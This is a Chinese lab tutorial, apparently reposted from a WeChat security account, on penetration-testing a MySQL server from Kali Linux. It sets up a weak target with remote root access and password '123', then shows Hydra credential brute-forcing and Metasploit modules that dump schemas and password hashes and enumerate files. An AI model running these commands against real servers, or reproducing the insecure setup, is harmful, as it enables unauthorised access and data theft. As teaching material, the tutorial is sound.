MySQL 是一个开源关系数据库管理系统(RDBMS)。它广泛用于以结构化格式管理和组织数据,使用表来存储数据。MySQL 在使用客户端-服务器架构的网络设置中运行。在此配置中,MySQL 服务器管理数据库,而客户端应用程序连接到服务器以执行查询和更新数据等任务。MySQL客户端和服务器之间的交互是通过TCP/IP协议进行的,MySQL默认监听3306端口。
目标机器:Ubuntu (192.168.31.205)
攻击机器:Kali Linux (192.168.31.141)
在ubuntu机器上安装mysql服务,命令如下:
apt install mysql-server
检查服务器是否已启动并正在运行, 使用以下命令:
netstat -tlnp
从上面可以看出服务器已经启动并在3306端口运行。
在Kali Linux上使用namp扫描IP, 以检查服务器是否显示为关闭或打开, 执行以下命令:
nmap -p3306 -sV 192.168.31.205
可以看到, mysql服务运行的3306端口处于关闭状态, 原因是MySQL服务器在机器内部运行, 并默认配置为127.0.0.1绑定地址。为了使服务处理开启状态, 需要更改该配置。编辑ubuntu机器中的mysqld.cnf文件, 输入以下命令:
nano /etc/mysql/mysql.conf.d/mysqld.cnf
要使服务开启, 需要注释掉(#)bind-address=127.0.0.1行。
再次使用nmap工具扫描IP,可以看到该服务现已打开。
nmap -p3306 -sV 192.168.31.205
可以看到, 即使服务状态显示为open, 但仍然无法远程连接服务, 需要登录数据库执行以下命令:
mysql -uroot
CREATE USER 'root'@'%' IDENTIFIED BY '123';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%';
FLUSH PRIVILEGES;
第一条命令用于以root用户身份登录 MySQL 服务器。第二个命令创建一个名为root 的新用户,该用户可以从任何主机 (%) 进行连接,并将密码设置为123 。第三条命令授予新创建的 root 用户对所有数据库和表的所有权限。最后一个命令重新加载权限表,确保更改立即生效。
现在可以通过在kali linux中运行以下命令来检查是否可以远程登录MySQL服务器:
mysql -h 192.168.31.205 -uroot -p
此时已经能够远程连接到MySQL数据库, 下面将对其进行渗透测试。
可以使用 kali linux 内的Hydra工具传递用户名和密码列表来暴力破解 MySQL 凭据。这里使用用户名列表作为users.txt和密码列表作为pass.txt 。暴力攻击的命令是:
hydra -L users.txt -P pass.txt 192.168.31.205 mysql
有很多与 MySQL 服务器相关的漏洞利用和辅助工具。下面将使用Metasploit中的auxiliary/admin/mysql/mysql_sql在连接数据库后直接运行SQL查询。
msfconsole -q
use auxiliary/admin/mysql/mysql_sql
set rhosts 192.168.31.205
set username root
set password 123
set sql show databases
run
还有另一个辅助工具可以帮助转储整个数据,即auxiliary/scanner/mysql/mysql_schemadump。只需要提供连接数据库的用户名和密码,就可以转储整个模式。
use auxiliary/scanner/mysql/mysql_schemadump
set rhosts 192.168.31.205
set username root
set password 123
run
要转储用户名和密码哈希值,可以使用auxiliary/scanner/mysql/mysql_hashdump ,它提供了用户名和密码哈希值作为输出。
use auxiliary/scanner/mysql/mysql_hashdump
set rhosts 192.168.31.205
set username root
set password 123
run
为了检查服务器端是否有可写的文件,可以使用auxiliary/scanner/mysql/mysql_writable_dirs来识别它。但是,默认情况下这是不可能的。需要在配置文件中更改一个设置,然后可以枚举可写目录。
要进行此配置,需要编辑/etc/mysql/mysql.conf.d/mysqld.cnf文件并在末尾添加行secure_file_priv= ” “ 。
现在使用 Metasploit 检查可写目录:
use auxiliary/scanner/mysql/mysql_writable_dirs
set rhosts 192.168.31.205
set username root
set password 123
set dir_list dir.txt
run
从上面可以看出/tmp目录是可写的。
要枚举文件和目录,可以使用auxiliary/scanner/mysql/mysql_file_enum 。如果目录或文件存在或不存在,它会给出结果。
最后,要枚举整个MySQL服务器,可以使用auxiliary/admin/mysql/mysql_enum ,它将在使用有效凭据后在MySQL服务器上执行枚举。
use auxiliary/admin/mysql/mysql_enum
set rhosts 192.168.31.205
set username root
set password 123
run
要在MySQL中进行端口修改,需要编辑配置文件。该文件的路径是/etc/mysql/mysql.conf.d/mysqld.cnf 。
nano etc/mysql/mysql.conf.d/mysqld.cnf
可以看到默认端口是3306, 可以将端口号修改为4403 ,并删除该行中的注释(#)。
现在,如果使用nmap扫描 IP,可以看到该服务已启动并在端口4403上运行。
原文始发于微信公众号(二进制空间安全):MySQL渗透全流程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论